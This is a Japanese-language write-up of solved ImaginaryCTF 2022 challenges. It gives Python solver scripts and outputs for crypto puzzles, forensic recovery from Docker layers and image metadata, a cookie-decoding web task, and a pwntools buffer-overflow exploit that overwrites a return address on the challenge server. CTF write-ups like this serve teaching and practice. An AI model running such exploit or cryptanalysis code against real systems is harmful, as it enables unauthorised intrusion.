ImaginaryCTF 2022 Writeup

この大会は2022/7/16 5:00(JST)~2022/7/19 5:00(JST)に開催されました。
今回もチームで参戦。結果は3950点で815チーム中35位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

問題にフラグが書いてあった。

ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}

Discord (Misc)

Discordに入り、#imaginaryctf-2022のトピックを見ると、フラグが書いてあった。

ictf{stay_tuned_after_the_ctf_for_daily_ctf_challenges!}

Sponsors (Misc)

DigitalOceanのYouTube動画を見ていたら、フラグが現れた。

ictf{digitalocean_r0cks!}

ret2win (Pwn)

BOFでwin関数をコールすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('ret2win.chal.imaginaryctf.org', 1337)
else:
    p = process('./vuln')

elf = ELF('./vuln')

win_addr = elf.symbols['win']

payload = b'A' * 24
payload += p64(win_addr)

for _ in range(3):
    data = p.recvline().rstrip().decode()
    print(data)

print(payload)
p.sendline(payload)
for _ in range(3):
    data = p.recvline().rstrip().decode()
    print(data)

実行結果は以下の通り。

[+] Opening connection to ret2win.chal.imaginaryctf.org on port 1337: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
Welcome to ret2win!
Right now I'm going to read in input.
b'AAAAAAAAAAAAAAAAAAAAAAAA\xd6\x11@\x00\x00\x00\x00\x00'
Can you overwrite the return address?
Returning to 0x4011d6...
ictf{c0ngrats_on_pwn_number_1_9b1e2f30}
[*] Closed connection to ret2win.chal.imaginaryctf.org port 1337

rooCookie (Web)

HTMLソースを見ると、以下のスクリプトがある。

<script>
function createToken(text) {
	let encrypted = "";
  for (let i = 0; i < text.length; i++) {
		encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2)
  }
  document.cookie = encrypted
}

document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"
</script>

以上から、暗号化前の文字列を割り出す。

#!/usr/bin/env python3
token = '101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'

flag = ''
enc = ''
for i in range(len(token)):
    enc += token[i]
    code = int(enc, 2) - 1337 + 43
    if code > 31 and code < 127:
        flag += chr(code)
        enc = ''
print(flag)

実行結果は以下の通り。

username="roo" & password="ictf{h0p3_7ha7_wa5n7_t00_b4d}"
ictf{h0p3_7ha7_wa5n7_t00_b4d}

Ogre (Forensics)

$ sudo docker pull ghcr.io/iciaran/ogre:ctf
ctf: Pulling from iciaran/ogre
2408cc74d12b: Pull complete 
8283096dcba0: Pull complete 
a3e654983208: Pull complete 
024c9a3b77d6: Pull complete 
e941c022b0bd: Pull complete 
cbc989e5dd36: Pull complete 
4f4fb700ef54: Pull complete 
993516637bdd: Pull complete 
6e4e19988c74: Pull complete 
4ed7e9ba3a5b: Pull complete 
b492bc1f2140: Pull complete 
e53efe2289f6: Pull complete 
49031d8315d0: Pull complete 
4eecd2f17f75: Pull complete 
fc9178609e99: Pull complete 
c4f33748bee0: Pull complete 
Digest: sha256:e76cc2da53d3a446d6803deb2634d0e42ad957947eb649f706f2cc5b2bd92277
Status: Downloaded newer image for ghcr.io/iciaran/ogre:ctf
ghcr.io/iciaran/ogre:ctf
$ sudo docker history ghcr.io/iciaran/ogre:ctf
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
0d847c76be92   4 weeks ago   CMD ["node" "server.js"]                        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   EXPOSE map[8080/tcp:{}]                         0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY quotes.json quotes.json # buildkit         5.46kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY public public # buildkit                   6.01kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY views views # buildkit                     634B      buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY server.js server.js # buildkit             441B      buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install ejs # buildkit       2.26MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c rm /tmp/secret # buildkit        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install express # buildkit   5.86MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s…   61B       buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm init -y # buildkit           2.35kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app/ogre                               0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c mkdir ogre # buildkit            0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app                                    0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   /bin/sh -c #(nop)  CMD ["node"]                 0B        
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENTRYPOINT ["docker-entry…   0B        
<missing>      4 weeks ago   /bin/sh -c #(nop) COPY file:4d192565a7220e13…   388B      
<missing>      4 weeks ago   /bin/sh -c apk add --no-cache --virtual .bui…   7.77MB    
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV YARN_VERSION=1.22.19     0B        
<missing>      4 weeks ago   /bin/sh -c addgroup -g 1000 node     && addu…   161MB     
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV NODE_VERSION=18.4.0      0B        
<missing>      7 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B        
<missing>      7 weeks ago   /bin/sh -c #(nop) ADD file:8e81116368669ed3d…   5.53MB
$ sudo docker save ghcr.io/iciaran/ogre:ctf > layers.tar

tarを展開して、さらに各フォルダにあるtarを展開してみていく。
layers/2363bcd31aa3fca27db926db77d42569a7deb98109086e80bba914a3fad8070b/layer/tmp/secret
という秘密情報と思われるファイルを見つけた。中には以下のように書いてある。

aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo=

base64デコードする。

$ echo aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo= | base64 -d
ictf{onions_have_layers_images_have_layers}
ictf{onions_have_layers_images_have_layers}

unpuzzled4 (Forensics)

Discordに入り、unpuzzler7#6451のプロフィールを見ると、こう書いてある。

Unpuzzling people, one at a time. WAR ON PUZZLES!

Check out some cool pictures!
https://www.flickr.com/unpuzzler7

https://www.flickr.com/unpuzzler7にアクセスしてみる。そこにrickとskyの写真がある。ここではskyの写真をオリジナルサイズでダウンロードし、sky.pngにリネームし、EXIFを見てみる。

$ exiftool sky.png
ExifTool Version Number         : 10.80
File Name                       : sky.png
Directory                       : .
File Size                       : 544 kB
File Modification Date/Time     : 2022:07:17 11:10:14+09:00
File Access Date/Time           : 2022:07:17 11:13:55+09:00
File Inode Change Date/Time     : 2022:07:17 11:10:14+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1261
Image Height                    : 805
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 3779
Pixels Per Unit Y               : 3779
Pixel Units                     : meters
City                            : ictf{1mgur_d03sn't_cl3ar_3xif}
Application Record Version      : 4
Image Size                      : 1261x805
Megapixels                      : 1.0

Cityにフラグが設定されていた。

ictf{1mgur_d03sn't_cl3ar_3xif}

bsv (Forensics)

"BEE"区切りのbsvというフォーマットを作ったらしい。区切り文字を","に変えて、csvとしてファイル保存する。

#!/usr/bin/env python3
with open('flag.bsv', 'rb') as f:
    data = f.read()

bsv = data.split(b'BEE')
csv = b','.join(bsv)

with open('flag.csv', 'wb') as f:
    f.write(csv)

Excelでこのcsvを開き縮小すると、文字の入っているセルでフラグに見える。

ICTFBUZZ_BUZZ_B2F13A

問題文によると、フラグ形式が書いてあり、{}を追加して、英小文字にする必要がある。

ictf{buzz_buzz_b2f13a}

improbus (Forensics)

corrupted.pngバイナリエディタで見ると、ところどころ"\xc2"や"\xc3"が混ざっている。単純に削除してみたが、pngとして開くことができない。IHDRチャンクのCRCなども合わない。sRGBチャンクのデータ部は1バイトしかないので、正しいCRCがわかりやすい。比較しながら、確認してみると、以下のようにすれば良さそうということがわかった。

"\xc2": 単純に削除する。
"\xc3": 次のバイトのASCIIコードに0b01000000をプラスする。

このことをスクリプトで実装し、pngを復元する。

#!/usr/bin/env python3
with open('corrupted.png', 'rb') as f:
    data = f.read()

data = data.replace(b'\xc2', b'')

out = b''
index = 0
while index < len(data):
    if data[index] == 0xc3:
        index += 1
        d = data[index] + 0x40
        out += bytes([d])
    else:
        out += bytes([data[index]])
    index += 1

with open('flag.png', 'wb') as f:
    f.write(out)

復元した画像にフラグが書いてあった。

ictf{fixed!_3f5ce751}

otp (Crypto)

$ nc otp.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to my one time pad as a service!
Enter plaintext: FLAG
Encrypted flag: 9c9c8b9d248cda821092dddb4cda9bbe86c1b98a8b9bb7269589e0d58ed6859109d6123e109cd7a6150ba02f46cedcb3f4
Enter plaintext: abcdefgh
Encrypted message: 9ec98dab3b9d1cc0
Enter plaintext: ABCDEFGH
Encrypted message: 9295b9fb1b3faab3
Enter plaintext: 

サーバの処理概要は以下の通り。

・seed: 0以上100000000以下のランダム値
・以下、繰り返し
 ・inp: 入力
 ・inpが"FLAG"の場合
  ・xor(flag, secureRand(len(flag)*8, seed))を16進数で表示
   ・secureRand(len(flag)*8, seed)
    ・jumbler: 2400個の要素の固定配列
    ・out = ''
    ・state = seed % 2400
    ・len(flag)*8回、以下繰り返し
     ・jumbler[state]の数値の先頭1桁目が4以下の場合、out += "1"
     ・jumbler[state]の数値の先頭1桁目が5以上の場合、out += "0"
     ・state: jumblerからランダムに3つの値を取り、先頭を結合した値→数値化
 ・inpが"FLAG"以外の場合
  ・xor(inp, secureRand(len(inp)*8, seed))を16進数で表示

2回目以降のsecureRand関数で使われるstateは0を含まない3桁の数値になる。確認したところ、その数値でjumbler[state]の数値の先頭1桁目が5より小さい場合は501個、大きい場合は228個。つまりoutには"1"が結合される可能性がかなり高い。
FLAGの暗号化を何回も試し、ビットごとに頻度の高いデータを反転することによってフラグを求める。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_enc_flag(s):
    data = recvuntil(s, b': ')
    print(data + 'FLAG')
    s.sendall(b'FLAG\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    hex_enc = data.split(': ')[1]
    l = len(hex_enc) * 4
    enc = bin(int(hex_enc, 16))[2:].zfill(l)
    return enc

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('otp.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

enc = get_enc_flag(s)
count = [0] * len(enc)

ROUND = 256
for _ in range(ROUND):
    enc = get_enc_flag(s)
    for i in range(len(enc)):
        if enc[i] == '1':
            count[i] += 1

bin_flag = ''
for i in range(len(count)):
    if count[i] > ROUND // 2:
        bin_flag += '0'
    else:
        bin_flag += '1'

flag = long_to_bytes(int(bin_flag, 2)).decode()
print(flag)

実行結果は以下の通り。

== proof-of-work: disabled ==
Welcome to my one time pad as a service!
Enter plaintext: FLAG
Encrypted flag: f71e8b99839caafda9b5851b8cba92db9a20bc2e8ac41793300624a31082a099facc6aa361af8e14959862ce668ed70ae4
Enter plaintext: FLAG
Encrypted flag: 909e8bbe9c0d9ac95930ef19800487969b8896faae948695d0ce19cb88a3b29c8d94ae92ea9e8cc33452e3ced7c4251b55
Enter plaintext: FLAG
Encrypted flag: e2d6cc9555dd08db89b495af0da09f9bdcccd89f0add998e118c25db1e438ad9c89f8a5ba000de509a8ac3c6c6c158860d
                :
                :
Enter plaintext: FLAG
Encrypted flag: 94dce3d8a7ddcab004c09513a1b0d3fed0809c0c999d97aa913c84b0dcae0701449e38c85380b65cdd96a5d7478fd285e5
Enter plaintext: FLAG
Encrypted flag: 8e919f598d9fc842d9b30fc926e192dd89a038968e5ead12325da0dafc97a1999498c49309bc9f30b0aa801cb46ce720cb
Enter plaintext: FLAG
Encrypted flag: 829153586018828571d6cdb68c2a79badcbb3437073c129ee342628796cb03be8fde931beaae86b84bbaa19dd2e08002b9
ictf{benfords_law_catching_tax_fraud_since_1938}
ictf{benfords_law_catching_tax_fraud_since_1938}

hash (Crypto)

$ nc hash.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Can you guess my passwords?
--------ROUND 0--------
sha42(password) = 6e3f5d7c4e415e6e77687e11153a7b2778432b244b
hex(password) = 

サーバの処理概要は以下の通り。

・config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()]
・50回以下繰り返し
 ・password: 15~20文字のprintable文字列
 ・hash: sha42(password)
 ・hash表示
 ・guess: passwordをhexで入力→デコード
 ・sha42(guess) と hashが一致していなかったら終了
・フラグを表示

sha42は計算が複雑なので、条件を満たすパスワードをz3で解く。その際、パスワードの長さは常に21にしておけば、条件を満たすパスワードが存在する。

#!/usr/bin/env python3
import socket
from z3 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hash.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for trial in range(50):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    hash = data.split(' ')[-1]
    out_hash = [int(hash[i:i+2], 16) for i in range(0, len(hash), 2)]

    passlen = 21
    x = [BitVec('x%d' % i, 8) for i in range(passlen)]
    slv = Solver()
    out = [0] * 21
    for round in range(42):
        for c in range(passlen):
            if config[((c // 21) + round) % len(config)][c % 21] == 1:
                out[(c + round) % 21] ^= x[c]
    for i in range(21):
        slv.add(out[i] == out_hash[i])
    r = slv.check()
    assert r == sat
    m = slv.model()
    password = ''
    for i in range(21):
        password += format(m[x[i]].as_long(), '02x')

    data = recvuntil(s, b'= ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
Can you guess my passwords?
--------ROUND 0--------
sha42(password) = 115918315d79753602586e29630c2910616a6d281e
hex(password) = 2da57b38679fb43ebb0e5672423b3cea21da94004e
Correct!
--------ROUND 1--------
sha42(password) = 5020211f23016f75626b2f376712723e5632312144
hex(password) = 54d40759408bca27ed455f3c480972a929f4e30036
Correct!
--------ROUND 2--------
sha42(password) = 260d7b39116444326f2e253f28560034326c4a783f
hex(password) = d88dbac967e79c20b2d0256fba2e99cf0034cf00fb
Correct!
--------ROUND 3--------
sha42(password) = 506d3807763c51460578633017662f027606544e49
hex(password) = 76ae127141e89a479639426d1c2b60b26dc3b63840
Correct!
        :
        :
--------ROUND 47--------
sha42(password) = 3569576a38127617451217517d6d79265a0c76390d
hex(password) = 852db59d283e526779ab4d3f8a64b85156fc0d00f1
Correct!
--------ROUND 48--------
sha42(password) = 0d3a5b5545011679692c326a70042b072864542c54
hex(password) = 61281c192e357124144f513740617d6b7e3a1c0010
Correct!
--------ROUND 49--------
sha42(password) = 31181c43564a1a71240c7a1a7c1c7d1466641e796f
hex(password) = 437b4c4d4f1c633b076e3a3c15090a3a5756550031
Correct!
Congrats! Your flag is: ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}
ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

stream (Crypto)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  ulong uVar1;
  FILE *pFVar2;
  long lVar3;
  char *__s;
  long lVar4;
  int iVar5;
  int __n;
  
  if (2 < param_1) {
    uVar1 = strtol((char *)param_2[2],(char **)0x0,10);★KEYに数値を指定し、uVar1にlong値として変換
    pFVar2 = fopen((char *)param_2[1],"r");★[FILE]
    fseek(pFVar2,0,2);★ファイル終端にポイント
    lVar3 = ftell(pFVar2);★lVar3 = 42(ファイルサイズ)
    lVar4 = lVar3 + 7;
    if (-1 < lVar3) {
      lVar4 = lVar3;★lVar4 = 42
    }
    iVar5 = (int)(lVar4 >> 3) * 8;★lVar5 = 40
    __n = iVar5 + 8;★__n = 48
    fseek(pFVar2,0,0);★ファイル先頭にポイント
    fclose(pFVar2);★★←バグってる??
    __s = (char *)malloc((long)__n);
    fgets(__s,__n,pFVar2);★__s: [FILE]の内容
    iVar5 = iVar5 + 0xf;
    if (-1 < __n) {
      iVar5 = __n; ★iVar5 = 48
    }
    if (7 < __n) {
      lVar4 = 0;
      do {
        *(ulong *)(__s + lVar4 * 8) = *(ulong *)(__s + lVar4 * 8) ^ uVar1;★8バイトごとにXOR(uVar1は鍵)
        uVar1 = uVar1 * uVar1;★新しい鍵
        lVar4 = lVar4 + 1;
      } while ((int)lVar4 < iVar5 >> 3);
    }
    pFVar2 = fopen((char *)param_2[3],"w");
    fwrite(__s,(long)__n,1,pFVar2);
    fclose(pFVar2);
    return 0;
  }
  __printf_chk(1,"[*] Usage: %s [FILE] [KEY] [OUT]\n",*param_2);
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

フラグは"ictf{"で始まることを前提にブルートフォースで鍵を求め、フラグを求める。このとき、フラグは42バイトであることがわかっているので、最後のブロックの後半6バイトは、最後のブロックの鍵(数値)の先頭48ビットであることも条件として利用する。

#!/usr/bin/env python3
def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            if c != 10 and c != 0:
                return False
    return True

with open('out.txt', 'rb') as f:
    enc = f.read()

blocks = [enc[i:i+8] for i in range(0, len(enc), 8)]

pre_head = b'ictf{'
pt0_base = int.from_bytes(pre_head, byteorder='little')
ct0 = int.from_bytes(blocks[0], byteorder='little')

for k in range(256**3):
    pt0 = pt0_base + k * 256**5
    key = pt0 ^ ct0
    try_key = key
    for _ in range(5):
        try_key = (try_key * try_key) % (256**8)
    last_block = try_key.to_bytes(8, byteorder='little')
    if last_block[2:] != blocks[-1][2:]:
        continue

    flag = b''
    for i in range(6):
        ct = int.from_bytes(blocks[i], byteorder='little')
        pt = ct ^ key
        flag += pt.to_bytes(8, byteorder='little')
        key = (key * key) % (256**8)
    if is_printable(flag):
        flag = flag.rstrip(b'\x00').rstrip().decode()
        print(flag)
        break
ictf{y0u_rec0vered_my_keystream_901bf2e4}

cbc (Crypto)

暗号処理の概要は以下の通り。

・key, ct = cbc_encrypt(msg=[flagを3回結合したもの])
 ・msg: msgをパディング
 ・msg: msgの16バイトずつの配列
 ・key: ランダム16バイト文字列
 ・out = []
 ・msgの各ブロックに以下の処理を実行
  ・next: blockをAES-ECB暗号
  ・outにnextを追加
  ・key = next
 ・out: 各要素を結合
 ・key, outを返却
・ct出力

2ブロック目以降は鍵がわかっているので、2ブロック目以降を復号し、フラグ部分を取り出す。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re

ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84"

ct = [ct[i:i+16] for i in range(0, len(ct), 16)]

msg = b''
for i in range(1, len(ct)):
    key = ct[i - 1]
    cipher = AES.new(key, AES.MODE_ECB)
    pt = cipher.decrypt(ct[i])
    msg += pt

msg = unpad(msg, 16)
m = re.search(b'(ictf\{.+\})', msg)
flag = m.group(1).decode()
print(flag)
ictf{i_guess_i_implemented_cbc_wrong_02b413a9}

Secure Encoding: Hex (Crypto)

hex文字列がシャッフルされ、暗号化されている。フラグが"ictf{"から始まり、"}"で終わることを前提に対応表を作り、デコードする。あとは埋まっていない箇所を推測しながら、デコードする。

#!/usr/bin/env python3

def recover_hex(d, ct):
    pt = ''
    for c in ct:
        if c in d:
            pt += d[c]
        else:
            print('[+] unknown:', c)
            pt += '*'
    return pt

def recover_flag(pt):
    flag = ''
    for i in range(0, len(pt), 2):
        p = pt[i:i+2]
        if '*' in p:
            flag += '*'
        else:
            flag += chr(int(p, 16))
    return flag

with open('out.txt', 'r') as f:
    ct = f.read()

pt_head = b'ictf{'.hex()
pt_tail = b'}'.hex()

ct_part = ct[:len(pt_head)] + ct[-len(pt_tail):]
pt_part = pt_head + pt_tail

d = {}
for i in range(len(ct_part)):
    if ct_part[i] not in d:
        d[ct_part[i]] = pt_part[i]
    else:
        assert d[ct_part[i]] == pt_part[i]

pt = recover_hex(d, ct)
print('[+] pt:', pt)

flag = recover_flag(pt)
print('[+] flag:', flag)

## guess ##
d['c'] = '5'
d['f'] = 'f'
d['7'] = 'e'
d['9'] = 'c'
d['2'] = '1'
d['3'] = '2'
print('[+] d:', d)

pt = recover_hex(d, ct)
print('[+] pt:', pt)

flag = recover_flag(pt)
print('[*] flag:', flag)

実行結果は以下の通り。

[+] unknown: 9
[+] unknown: 2
[+] unknown: 3
[+] unknown: c
[+] unknown: f
[+] unknown: 3
[+] unknown: 2
[+] unknown: c
[+] unknown: c
[+] unknown: f
[+] unknown: c
[+] unknown: 7
[+] unknown: f
[+] unknown: 7
[+] unknown: c
[+] unknown: f
[+] pt: 696374667b6d696*69746*7*79**677*6*646***6*6*636*64696*67**6674777d
[+] flag: ictf{mi*it**y*g**d****c*di*g*ftw}
[+] d: {'0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd', 'c': '5', 'f': 'f', '7': 'e', '9': 'c', '2': '1', '3': '2'}
[+] pt: 696374667b6d696c69746172795f67726164655f656e636f64696e675f6674777d
[*] flag: ictf{military_grade_encoding_ftw}
ictf{military_grade_encoding_ftw}

huge (Crypto)

RSA暗号だが、p, qは200個以下の10ビット素数の積になっているので、Multi prime RSA暗号として復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy import *

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
e = int(params[1].split(' = ')[1])
c = int(params[2].split(' = ')[1])

fac = factorint(n)

phi = 1
for k, v in fac.items():
    phi *= (k - 1) * pow(k, v - 1)

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
ictf{sm4ll_pr1mes_are_n0_n0_9b129443}

emojis (Crypto)

絵文字は下向きと上向きの指の絵なので、0, 1に置き換え、デコードする。

#!/usr/bin/env python3
with open('emojis.txt', 'rb') as f:
    enc = f.read()

enc = enc.replace(b'\xf0\x9f\x91\x8e', b'0')
enc = enc.replace(b'\xf0\x9f\x91\x8d', b'1')

flag = ''
for i in range(0, len(enc), 8):
    flag += chr(int(enc[i:i+8], 2))
print(flag)
ictf{enc0ding_is_n0t_encrypti0n_1b2e0d43}